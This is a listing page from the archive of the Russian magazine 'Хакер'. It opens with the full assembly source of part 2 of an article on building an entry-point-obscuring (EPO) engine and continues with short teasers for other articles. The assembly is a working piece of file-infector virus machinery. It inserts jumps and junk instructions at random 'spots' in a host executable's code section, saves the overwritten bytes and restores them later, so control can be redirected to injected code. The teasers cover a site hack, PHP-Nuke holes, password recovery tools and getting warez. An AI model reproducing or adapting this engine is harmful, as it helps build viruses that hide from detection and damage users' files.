Временная скидка 60% на годовую подписку!
Главная Статьи (страница 214)

Статьи

Построение простого EPO мотора №2

;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOTS GENERATION SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; spots:  ; Подпрограмма генерации ; пятен mov ecx,1 ; Кладём в ecx единицу ; call reset ; Подготавливаем данные call num_spots ; Генерируем случайное число ; это будет кол-во пятен tred:  call save_bytes ; Сохраняем затираемы байты call gen_spot ; Генерируем пятно inc ecx ; Увеличиваем ecx на единицу cmp ecx,[ebp+n_spots] ; Все пятна сгенерированы jne tred ; Если нет, то генерируем call save_bytes ; Сохраняем последние байты call gen_final_spot ; И генерируем последнее ; пятно ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOT GENERATION SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; gen_spot:  ; Подпрограмма генерации  ; одного пятна push eax ecx ; Сохраняем eax и ecx call len_sp_jmp ; Получаем случайную длину xchg eax,ebx ; прыжка пятна call testing ; Проверяем, чтобы пятно jc quit2 ; не выходило за кодовую ; секцию push ebx xor bx,bx dec bx mov ecx,[ebp+num1] ; Генерируем первую партию call garbage ; мусора pop ebx mov al,0e9h ;  stosb ; mov eax,0 ; Генерируем jmp add eax,ebx ; add eax,ecx ; stosd ; push ebx xor bx,bx dec bx mov ecx,[ebp+num2] ; Генерируем вторую партию call garbage ; мусора pop ebx sub edi,[ebp+num2] ;  add edi,[ebp+num1] ; Корректируем edi add edi,ebx ; quit2: pop ecx eax ; Восстанавливаем ecx и eax ret ; Возврат из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; LAST SPOT GENERATION SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; gen_final_spot:  ; Подпрограмма генерации ; финального пятна push eax ecx ; Сохраняем eax и ecx jc not_big ; Если длина не превышает inc [ebp+n_spots] ; размера кодовой секции, то not_big: ; Увеличим кол-во пятен mov ecx,[ebp+num1] ; Генерируем мусорные call garbage ; инструкции push edi ; Сохраняем edi sub edi,[ebp+start_code] ; Подготавливаем длину jmp'a mov ebx,edi ; для последнего пятна pop edi ; Восстанавливаем edi mov al,0e9h ; stosb ; mov eax,0 ; sub eax,5 ; Генерируем финальное sub eax,ebx ; пятно add eax,[ebp+new_eip] ; sub eax,[ebp+old_eip] ; stosd ; mov ecx,[ebp+num2] ; Генерируем вторую партию call garbage ; мусорных инструкций pop ecx eax ; Восстанавливаем ecx и eax ret ; Возврат из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOTS GENERATION SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; ADDRESS OF SAVING BYTES -> EDI ; ; QUANTITY OF BYTES -> EBX ; ;--------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; save_bytes: ; Подпрограмма сохранения ; заменяемых байт pusha ; Сохраняем всё в стэке call length1 ; Генерируем длины мусорных ; инструкций mov ebx,[ebp+num1] ; Помещаем в ebx первую  add ebx,[ebp+num2] ; и вторую длины add ebx,5 ; Добавляем к ebx - 5 mov esi,edi ; Сохраняем в буфере с  mov edi,[ebp+pointer] ; начала смещение в памяти mov eax,esi ; на сохраняемые байты stosd ; mov ecx,ebx ; После этого сохраняем в mov eax,ecx ; буфере кол-во сохраняемых stosd ; байт rep movsb ; И в самом конце сохраняем mov [ebp+pointer],edi ; в буфере сами байты ; popa ; Вынимаем всё из стека ret ; Возврат из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; RESTORE SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; OLD ENTRY POINT -> EBX ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; restore: ; Подпрограмма  ; восстановления сохранённых ; байт cld ; Поиск вперёд lea esi,[ebp+rest_bytes] ; В esi указазатель на буфер mov edx,1 ; В edx кладём - 1 not_enough: mov edi,[ebp+old_eip] ; В edi загружаем точку add edi,[ebp+image_base] ; входа mov ebx,edi ; Сохраняем edi в ebx lodsd ; В eax старое смещение ; байт в памяти sub eax,[ebp+start_code] ; Отнимаем смещение начала ; кода и добавляем  add edi,eax ; точку входа lodsd ; Загружаем в eax кол-во  mov ecx,eax ; байт и кладём их в ecx rep movsb ; Перемещаем оригинальные ; байты на старое место inc edx ; Переходим к следующему  cmp edx,[ebp+n_spots] ; пятну jl not_enough ; если не все пятна вернули, ; то восстанавливаем дальше quit: ;  ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; LENGTH SPOT GENERATION SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; length1: ; Подпрограмма генерации ; длин мусорных инструкций mov eax,20 ; call brandom32 ; Генерируем случайное число test eax,eax ; в диапазоне 1..19 jz length1 ; mov [ebp+num1],eax ; Сохраняем его в переменную rand2: mov eax,20 ; call brandom32 ; Генерируем случайное число test eax,eax ; в диапазоне 1..19 jz rand2 ; mov [ebp+num2],eax ; Сохраняем его в вторую ; переменную ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; RESET SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; reset: ; Подпрограмма инициализации ; переменных mov edi,[ebp+start_code] ; ;  push esi ; Инициализируем переменные lea esi,[ebp+rest_bytes] ; mov [ebp+pointer],esi ; pop esi ; ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOT JUMP LENGTH GENERATION SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; LENGTH OF SPOT JUMP -> EAX ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; len_sp_jmp: ; Подпрограмма генерации ; длины прыжка mov eax,150 ; call brandom32 ; Генерируем случайное число cmp eax,45 ; в диапазоне 45..149 jle len_sp_jmp ; ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOTS NUMBER GENERATION SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; num_spots: ; Подпрограмма генерации ; количества пятен pusha ; Сохраняем всё в стеке mov eax,40 ; Генерируем случайное число call brandom32 ; в диапазоне 1..40 inc eax ; И сохраняем его в mov [ebp+n_spots],eax ; переменной popa ; Вынимаем всё из стэка ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; TESTING SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; CARRY FLAG ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; testing: ; Подпрограмма проверки ; попадания в границу секции push edi eax ; Сохраняем edi eax в стэке add edi,[ebp+num1] ; Добавим к edi 1-ую длину ; мусорных инструкций add edi,[ebp+num2] ; После этого добавим 2-ую add edi,300 ; И добавим число в которое ; входит максимальный размер ; пятна + длина его прыжка mov eax,[ebp+size_for_spot] ; В eax загрузим размер  ; места для пятен и смещение add eax,[ebp+start_code] ; в памяти точки входа cmp edi,eax ; Сравним eax и edi clc ; Сбросим carry флаг jl m_space ; Если edi меньше, то все ; хорошо mov [ebp+n_spots],ecx ; Если нет, то мы уменьшаем inc [ebp+n_spots] ; количество пятен и  stc ; устанавливаем carry флаг m_space: pop eax edi ; Вынимаем eax и edi  ret ; Возврат из процедуры ;--------------------------; pointer dd 0 ; n_spots dd 0 ; ; num1 dd 0 ; num2 dd 0 ; ; Данные необходимые для PE_header dd 0 ; работы мотора old_eip dd 0 ; image_base dd 0 ; start_code dd 0 ; new_eip dd 0 ; map_address dd 0 ; size_for_spot dd 0 ; rest_bytes: db 2100 dup (?) ; ;--------------------------; В качестве параметра данному мотору передаётся адрес файла в памяти (MapViewOfFile)

Построение простого EPO мотора №1

В данной статье мы рассмотрим моделирование простого EPO мотора. На данную тему уже было написано несколько статей, но они в большей степени теоретические. В этом тексте будет рассмотрено, как теоритическое моделирование так и пример применения этой теории

Performance Inspector

Пакет программ позволяющий определить участки программы имеющие проблемы с производительностью, имеется возможность контроля взаимодействия программы с Linux ядром через системные вызовы.

Антифлуд скрипт для eggdrop

В последнее время большинство IRC сетей подвергается атакам клон-ботов. Для того, чтобы нагнать трафик серверу и юзерам, сидящим на нем, злоумышленник управляет системой ботов (от десятки до тысячи экземпляров), которые джойнятся на определенный канал, создавая при этом огромный флуд

Кpаткое описание Матpицы 2

Сион. Такой подземный гоpод. Где Помои и Кибеpпанк. МОРФЕЙ и ГЛАВHЫЙ вдyмчиво смотpят в мискy с кофейной гyщей. МОРФЕЙ: Что это они делают? ГЛАВHЫЙ: Бypят. 250000 машин. МОРФЕЙ: Это ЖОПА. С таким количеством бypят нам не спpавиться. ГЛАВHЫЙ: Спокойно, солдат! Мы бyдем сpажаться до последней капли вашей кpови! HЕО: Я не знаю, что делать

The Matrix: Перегрузка? №2

И еще немного о Матрице. Первое, что сразу хочется отметить, я не являюсь поклонником матрицы, поэтому мои рассуждения не строятся на слепом поклонении культовому фильму. А фильм действительно культовый. Но почему? Только из-за спецэффектов? Конечно, нет

Диспетчер задач

Если в Windows 2000/XP кликнуть в Диспетчере задач 2 раза по области между строкой меню и закладками, то останется только текущая закладка и исчезнет меню, что позволит подобрать оптимальный размер окна менеджера (в обычном режиме это невозможно)

Распаковка и исследование №4

Перейдем к следующему виду проверки, кнопке "Hw.Check" с полем ввода. Попробуем написать, туда что-нибудь, скорее всего получим сообщение "THE KEY MUST CONSIST THE LETTERS FROM A TO J". Сие означает, что ключ должен содержать латинские буквы от A до J

Виртуальная Секс-Машина

Я уверен, рано или поздно человечество само залезет в Матрицу. И будет там, постанывая и покряхтывая, ворочаться в плотно облегающем секс-коконе. Только губы наружу оставит — потому что курить любит…

Slap! v1.1.1.6

Программа отвечает на попытки сканирования системы извне несколькими пакетами, давая понять, что всё под контролем.

Распаковка и исследование №3

Статья состоит из двух независимых друг от друга частей. 1. Распаковка ASProtect v.1.2 2. Исследование защиты самой программы. Для скачивания доступны, как распакованная так и запакованная версия подопытной программы. 1. Распаковка

Штирлиц был изВращенец…

/словоблудный маразм/ / Штирлиц был изврашенец. Поэтому во Вращенцах ему поставили памятник./ / Hаиболее полное собрание печатных анекдотов про Штирлица, изд 4./ Итак, постулат первый: Город Вращенцы велик и славен. Если вы в этом сомневаетесь, то посмотрите вокруг

Друг php и папаша r00t

Найденный баг В этой статье мы хотим рассказать о несостоятельности всяческих систем администрирования, которые начали заполнять просторы интернета. Все сайты на одно лицо, у всех одни и те же уязвимости (Баг-Траки просто увязли в уязвимостях PHP-Nuk'а)

Мониторинг XP из командной строки

1. Tasklist /M - показывает все библиотеки, загруженные каждым процессом. 2. Посмотрим файлы, открытые процессом: 1) openfiles /local on - включаем режим в ядре (жрет кучу ресурсов!); 2) Перезагружаемся; 3) openfiles - список процессов и открытых ими файлов; openfiles /query /v - список юзеров, запустивших процессы. 3

Protected Storage PassView

Небольшая утилита, которая показывает пароли, хранящиеся в Protected Storage, такие как пароли Outlook Express или Microsoft Outlook, пароли форм автозаполнения и сайтов из Internet Explorer'а, а также пароли MSN Explorer.

Как был взломан cccp.de

Одним ранним утром, нет одним прекрасным ранним утром, я сидел и бездельничал. Делать было нечего, и от того решил я помучить Yandex: набрал в поисковике RusH security team и начал изучать сайты и их содержимое (что мол о нас пишут). И тут я натыкаюсь на сайт http://www.cccp.de, интересненько, что мы делаем на данном сайте? =) Зашёл, посмотрел, сайт в Германии, но на русском языке, мол для эмигрантов

Собственный FM

Здоровеньки, чёрт ;). Не хотел бы ты транслировать любимый музон на всю свою локалку? Чтобы знакомый  Вася сказал тебе: "О-о-о, ну ты крут!". Если да, тогда приступим к созданию своего Radio FM. 

MOVIEZ и где они живут №2

Intro Свежачок любят все, это не секрет. Я тоже часто (читай: всегда) достаю софт, игры, фильмы, музыку с инета, за последний год - вообще дисков не покупал. Почему? Потому, что я уже давно качаю варез через IRC. Требуется: mIRC Более-менее быстрый инет Прямые руки Желание достать свежачок..

Страница 214 из 293В начало...190200210212213214215216 220230240...

Еженедельный дайджест

Спасибо за подписку! Мы будем присылать важные новости ИБ в еженедельном дайджесте
Ошибка при подписке Случилась ошибка при создании подписки на наш дайджест. Пожалуйста, попробуйте позднее
Важные события и скидка на подписку:
«ХАКЕР» ДОСТУПЕН ТОЛЬКО В ЭЛЕКТРОННОЙ ВЕРСИИ
Оформи подписку — получи:
  • доступ к платным материалам сайта
  • доступ ко всем номерам PDF
4000 р.
на год
920 р.
на месяц

«Хакер» в соцсетях

Материалы для подписчиков